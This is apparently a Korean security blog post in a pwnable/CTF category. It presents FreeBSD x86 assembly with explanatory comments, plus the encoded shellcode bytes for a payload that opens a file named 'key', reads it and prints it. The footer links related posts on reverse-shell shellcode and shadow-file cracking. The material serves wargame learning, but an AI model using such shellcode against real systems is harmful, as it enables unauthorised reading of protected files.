.globl main main: /*=========================================================== 스택 프레임 생성 32글자 hash 인자를 읽기 위해 20바이트 공간 형성 ===========================================================*/ push %ebp mov %esp, %ebp sub $0x20, %esp /*=========================================================== 레지스터 초기화 ===========================================================*/ xor %eax, %eax xor %ebx, %ebx xor %ecx, %ecx xor %edx, %edx /*=========================================================== open( 파일명, 읽기쓰기권한 ) 파일 열기를 위해 open함수 호출. eax 에는 open 함수 시스템콜 넘버 5 ebx 에는 읽고자 하는 파일명 key ecx 에는 넣을 값이 없음. 그리고 인터럽트 ===========================================================*/ movb $0x05, %al push $0x79 pushw $0x656B mov %esp, %ebx int $0x80 /*=========================================================== read (fp, 버퍼, 글자갯수) eax에는 read 의 시스템콜 넘버 3 ebx에는 아까 open으로 넣은 값 넣어주고 ecx 에는 버퍼값 땡겨서 넣어주되, esp 말고 ebp 기준으로 해줬네. 왜지 edx 에는 글자 갯수 넣어준다. ===========================================================*/ mov %eax, %ebx movb $0x03, %al lea 0xffffffe0(%ebp), %ecx movb $0x21, %dl int $0x80 /*=========================================================== write(표준입출력, 버퍼, 갯수) eax 에는 write 시스템콜 넘버 4 ebx 에는 표준입출력에 따른 값 1 (stdout) ecx 에는 아까 그 버퍼값 쓰면 되니까 그대로 두고 edx 에는 아까 read 의 결과값 넣어줌 ===========================================================*/ mov %eax, %edx movb $0x4, %al movb $0x1, %bl int $0x80 leave ret
\x55\x89\xe5\x83\xec\x20\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x05\x6a\x79\x66\x68\x6b\x65\x89\xe3\xcd\x80\x89\xc3\xb0\x03\x8d\x4d\xe0\xb2\x21\xcd\x80\x89\xc2\xb0\x04\xb3\x01\xcd\x80\xc9\xc3
'Research > Pwnable' 카테고리의 다른 글
SHA 512, /etc/shadow decrypt (0) | 2014.01.12 |
---|---|
FreeBSD 에서 proc 디렉토리에 PID 가 없을때 (0) | 2013.11.07 |
[shellcode] FreeBSD x86 Reverse Read shell (0) | 2013.08.06 |
[shellcode] FreeBSD x86 Socket/Connect (0) | 2013.08.06 |
FreeBSD Syscall numbers (0) | 2013.08.06 |